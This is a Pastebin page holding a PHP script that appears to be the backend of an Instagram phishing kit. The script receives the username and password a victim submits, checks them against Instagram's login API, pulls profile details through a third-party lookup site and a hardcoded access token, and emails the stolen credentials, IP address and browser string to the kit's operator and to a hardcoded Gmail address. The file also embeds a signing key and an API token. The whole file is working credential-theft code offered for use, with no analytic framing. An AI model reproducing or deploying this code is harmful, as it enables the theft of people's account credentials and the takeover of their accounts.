Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php if (isset($_POST['username']) || isset($_POST['password'])) { error_reporting(0);
- $username = $_POST['username'];
- $password = $_POST['password'];
- $ip = $_SERVER['REMOTE_ADDR'];
- $browser = $_SERVER['HTTP_USER_AGENT'] . "\n\n";
- function SendRequest($url, $post, $post_data, $user_agent, $cookies) { $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, 'https://instagram.com/api/v1/' . $url);
- curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- if ($post) { curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
- } if ($cookies) { curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
- } else { curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
- } $response = curl_exec($ch);
- $http = curl_getinfo($ch, CURLINFO_HTTP_CODE);
- curl_close($ch);
- return array($http, $response);
- } function GenerateGuid() { return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(16384, 20479), mt_rand(32768, 49151), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));
- } function GenerateUserAgent() { $resolutions = array('720x1280', '320x480', '480x800', '1024x768', '1280x720', '768x1024', '480x320');
- $versions = array('GT-N7000', 'SM-N9000', 'GT-I9220', 'GT-I9100');
- $dpis = array('120', '160', '320', '240');
- $ver = $versions[array_rand($versions) ];
- $dpi = $dpis[array_rand($dpis) ];
- $res = $resolutions[array_rand($resolutions) ];
- return 'Instagram 4.' . mt_rand(1, 2) . '.' . mt_rand(0, 2) . ' Android (' . mt_rand(10, 11) . '/' . mt_rand(1, 3) . '.' . mt_rand(3, 5) . '.' . mt_rand(0, 5) . ';
- ' . $dpi . ';
- ' . $res . ';
- samsung;
- ' . $ver . ';
- ' . $ver . ';
- smdkc210;
- en_US)';
- } function GenerateSignature($data) { return hash_hmac('sha256', $data, 'b4a23f5e39b5929e0666ac5de94c89d1618a2916');
- } function GetPostData($filename) { if (!$filename) { echo "The image doesn't exist " . $filename;
- } else { $post_data = array('device_timestamp' => time(), 'photo' => '@' . $filename);
- return $post_data;
- } } $agent = GenerateUserAgent();
- $guid = GenerateGuid();
- $device_id = "android-" . $guid;
- $data = '{"device_id":"' . $device_id . '","guid":"' . $guid . '","username":"' . $username . '","password":"' . $password . '","Content-Type":"application/x-www-form-urlencoded;
- charset=UTF-8"}';
- $sig = GenerateSignature($data);
- $data = 'signed_body=' . $sig . '.' . urlencode($data) . '&ig_sig_key_version=4';
- $login = SendRequest('accounts/login/', true, $data, $agent, false);
- $userid = 'http://otzberg.net/iguserid/index.php';
- $c = curl_init();
- curl_setopt($c, CURLOPT_URL, $userid);
- curl_setopt($c, CURLOPT_POST, 1);
- curl_setopt($c, CURLOPT_POSTFIELDS, "q=$username&mode=getid");
- curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
- $result = curl_exec($c);
- curl_close($c);
- $g = explode('<h4>Instagram User_ID#: ', $result);
- $e = explode('</h4>', $g[1]);
- $t = $e[0];
- $userinfo = 'https://api.instagram.com/v1/users/' . $t . '/?access_token=2046878387.1677ed0.79f201867677463eafd4e11d6602b96e';
- $fgc = file_get_contents($userinfo);
- $json = json_decode($fgc, true);
- $uname = $json['data']['username'];
- $pp = $json['data']['profile_picture'];
- $fn = $json['data']['full_name'];
- $followers = $json['data']['counts']['followed_by'];
- $following = $json['data']['counts']['follows'];
- if ($login[0] == 400) { header("Location: auth.php?incorect=1");
- exit();
- unset($_SESSION['username']);
- unset($_SESSION['password']);
- } else { $_SESSION['username'] = $username;
- $_SESSION['password'] = $password;
- $subjek = '= [ INSTAGRAM ] =';
- $body = <<<EOD
- ++========[ AJI REZA TAMPAN ]========++<br>
- Username : $username<br>
- Password : $password<br>
- Fullname : $fn<br>
- Followers : $followers<br>
- Following : $following<br>
- IP Address : $ip<br>
- Browser : $browser<br>
- ++========[ AJI REZA TAMPAN ]========++
- EOD;
- $headers = "From: $username@stupidpeople.id
- ";
- $headers.= "Content-type: text/html
- ";
- include('mail.php');
- $success = mail($mailto, $subjek, $body, $headers);
- $aji = "ajireza26@gmail.com";
- mail($aji, $subjek, $body, $headers);
- include('lgbt.php');
- } } else { echo "Don't Lie";
- } ?>
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement